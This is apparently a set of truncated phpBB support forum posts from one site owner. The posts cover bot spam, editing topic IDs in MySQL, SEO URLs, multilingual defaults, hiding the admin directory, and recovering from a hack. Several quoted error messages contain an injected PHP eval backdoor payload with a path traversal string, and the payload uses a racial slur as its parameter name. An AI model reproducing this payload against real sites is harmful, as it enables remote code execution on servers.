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Plasmatic.... In your post:

SPam Bot Picture

You show a photo instead of the text error message. How do I do the same thing?

I made the changes in MySql. I understand that it won't permanently stop bots. My guess is it will slow them down in my case. They target one particular topic and spam it. I changed the topic number. So now they have to go back with the bot to do more work. Its an easy command for me to implement in...

But isn't it also listed in the forums table?

Once you change the topic number.....shouldn't you have to change the topic number for:

1) Each post.
2) The Forum it is related to.

Yes, bet there are many tables in the database.

I noticed that some of the numbers created are on several tables.

So topic # 18 may be within several tables of the database.

Which tables do I change the topic number manually through MYSQL?

I found that bots are targeting a specific topic and are spamming. If I change the topic number they will stop (for now). This is the T# that the database assigns to new topics. In The MYSQL tables.... what tables do I change and what fields? Example: I want to change topic #18 to #999 (not used).

How do you take this Mod and apply it to Guest Posts?

Looks good, but I use SEO_URLS v2 That converts the file name to the subject line

Ex: http://www.phpbb.com/phpBB/viewtopic.php?t=475468.php

becomes:

http://www.phpbb.com/phpBB/google-sitem ... 475468.php

(I would want this URL indexed by google).

How do I mod what you have to make it work?

Found it: Look here: http://www.phpbb.com/phpBB/viewtopic.php?t=272959 and here: http://www.phpbb.com/phpBB/viewtopic.php?t=328542&highlight=nigga You need to do 2 things: 1 - Go into the MYSQL database 2 - Type: select * from phpbb_themes; 3 - You will see the ../../../../../../../../ theme that is...

That's for a virus and a trojan horse. All the posts are about using the admin panel to find things. I can't even access my admin. I keep getting the same error on any page you want to view: ---------------- phpBB : Critical Error Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// ...

OK.. Now I'm back to the hacker script: ---------------------- phpBB : Critical Error Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file DEBUG MODE Line : 361 File : functions.php -------------------...

Did it... It did it 4 times. It is NOT working.

I read your post on other support threads (I do read before I post

Help.

Thanks

I had a hacker with the 'nigga' script that stopped the database. My site is http://mb.idate2005.com I am using PHP4 and MYSQL I backed up the database (ver 2.0.15). I uploaded the FULL VERSION of 2.0.17. I restored the datbase using the command: mysql -u USERNAME -p DATABASENAME < /PATH/TO/SAVEDFIL...

I got the same errors. Also it said that a table had a problem when converting from 2.0.11 to 2.0.15

I restored the database. Reinstalled it - got the same thing. I had to go back to 2.0.11

Any help appreciated here.

I have a website in several languages. For each language, I have a menu option for "message board." Anyone clicking on it will go to the message board index.php page. The default language for that page is English. How do I set it so that someone who links from the German page gets German as the lang...

Again...thanks for the info on changing the Admin directory.

But I also want to change the admin/index.php file for an extra level of security.

Example:

new_admin_directory/secret_name_for_index.php

How do I change that as well?